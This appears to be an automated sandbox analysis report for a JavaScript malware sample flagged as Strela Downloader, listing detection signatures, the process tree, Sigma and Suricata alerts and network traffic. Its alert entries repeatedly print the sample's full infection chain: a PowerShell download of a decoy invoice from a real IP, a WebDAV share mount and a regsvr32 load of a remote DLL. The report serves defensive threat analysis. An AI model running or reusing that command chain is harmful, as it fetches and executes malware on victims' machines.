Edit tour

Windows Analysis Report
316517466273709266.js

Overview

General Information

Sample name:	316517466273709266.js
Analysis ID:	1588866
MD5:	90e89417cee76ebf775da900a2291260
SHA1:	433526ba87de8b6b35150d3e76c0e0a4d3c76a05
SHA256:	812913939fa0fb75cb4ab9b49cfbf9419070ff79b2f31e2c3cb6e4307070657a
Tags:	jsuser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 5044 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\316517466273709266.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 2672 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\69632789529560.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 6548 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 5908 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 1240 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 2436 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 7276 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2132 --field-trial-handle=1736,i,9463198681021294956,11538559822545005153,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 6008 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 6536 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 768 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 5044	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\69632789529560.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 2672, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 5908, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\69632789529560.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 2672, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 5908, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\316517466273709266.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\316517466273709266.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 1028, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\316517466273709266.js", ProcessId: 5044, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 193.143.1.205, DestinationIsIpv6: false, DestinationPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 6536, Protocol: tcp, SourceIp: 192.168.2.5, SourceIsIpv6: false, SourcePort: 49705

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\69632789529560.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\69632789529560.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\316517466273709266.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 5044, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\69632789529560.dll, ProcessId: 2672, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\69632789529560.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\69632789529560.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\316517466273709266.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 5044, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\69632789529560.dll, ProcessId: 2672, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\69632789529560.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\69632789529560.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\316517466273709266.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 5044, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\69632789529560.dll, ProcessId: 2672, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\69632789529560.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\69632789529560.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\316517466273709266.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 5044, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\69632789529560.dll, ProcessId: 2672, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\69632789529560.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\69632789529560.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\316517466273709266.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 5044, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\69632789529560.dll, ProcessId: 2672, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\316517466273709266.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\316517466273709266.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 1028, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\316517466273709266.js", ProcessId: 5044, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\69632789529560.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 2672, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 5908, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6008, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 6536, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 632, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 768, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6008, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 6536, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\69632789529560.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\69632789529560.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\316517466273709266.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 5044, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\69632789529560.dll, ProcessId: 2672, ProcessName: cmd.exe

Suricata Signatures

ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T06:28:58.677556+0100	2859560	1	Malware Command and Control Activity Detected	192.168.2.5	49704	193.143.1.205	80	TCP

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T06:29:01.290842+0100	1810005	1	Potentially Bad Traffic	192.168.2.5	49705	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T06:28:58.677556+0100	1810000	2	Potentially Bad Traffic	192.168.2.5	49704	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 316517466273709266.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 316517466273709266.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.5:49705 -> 193.143.1.205:8888
Source: Network traffic	Suricata IDS: 2859560 - Severity 1 - ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET) : 192.168.2.5:49704 -> 193.143.1.205:80

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 05:28:58 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 63 6

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49705

Source: global traffic

